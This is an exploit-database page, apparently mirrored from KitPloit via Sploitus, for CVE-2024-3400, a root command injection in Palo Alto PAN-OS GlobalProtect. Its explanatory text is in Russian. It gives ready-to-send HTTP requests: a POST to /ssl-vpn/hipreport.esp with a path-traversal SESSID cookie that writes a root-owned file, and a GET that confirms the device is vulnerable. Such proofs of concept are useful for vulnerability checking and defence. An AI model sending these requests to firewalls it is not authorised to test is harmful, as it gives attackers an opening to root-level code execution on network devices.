Sploitus

Exploit for CVE-2024-3400

kitploit Β· 2026-09-05

Exploit Code

MARKDOWN38 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-IHEBSKI-CVE-2024-3400
# CVE-2024-3400

CVE-2024-3400 Π’Π½Π΅Π΄Ρ€Π΅Π½ΠΈΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ Π² ОБ Palo Alto

**ОписаниС ΠΎΡ‚ производитСля**

Π£ΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ внСдрСния ΠΊΠΎΠΌΠ°Π½Π΄ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ GlobalProtect ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎΠ³ΠΎ обСспСчСния PAN-OS ΠΎΡ‚ Palo Alto Networks для ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… вСрсий PAN-OS ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π½Π΅Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠΌΡƒ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΡƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ΄ с привилСгиями root Π½Π° мСТсСтСвом экранС.

## Эксплойт

Π‘Π»Π°Π³ΠΎΠ΄Π°Ρ€Π½ΠΎΡΡ‚ΡŒ watchtowr labs πŸš€

### ΠžΠ±Ρ…ΠΎΠ΄ ΠΏΡƒΡ‚ΠΈ / ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°

HTTP-запрос:

root@kitploit:~
    
    
    POST /ssl-vpn/hipreport.esp HTTP/1.1
    Host: 127.0.0.1
    Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/poc.txt;
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 0
    

**poc.txt** Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ создан ΠΏΠΎ ΠΏΡƒΡ‚ΠΈ `/var/appweb/sslvpndocs/global-protect/portal/images/poc.tx` с привилСгиями root.

Если ΡƒΡΠ·Π²ΠΈΠΌΠΎΡΡ‚ΡŒ присутствуСт, Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ 403 ΠΏΡ€ΠΈ ΠΎΠ±Ρ€Π°Ρ‰Π΅Π½ΠΈΠΈ ΠΊ _poc.txt_ вмСсто 404.

root@kitploit:~
    
    
    GET /global-protect/portal/images/poc.txt HTTP/1.1
    Host: 127.0.0.1
    Connection: close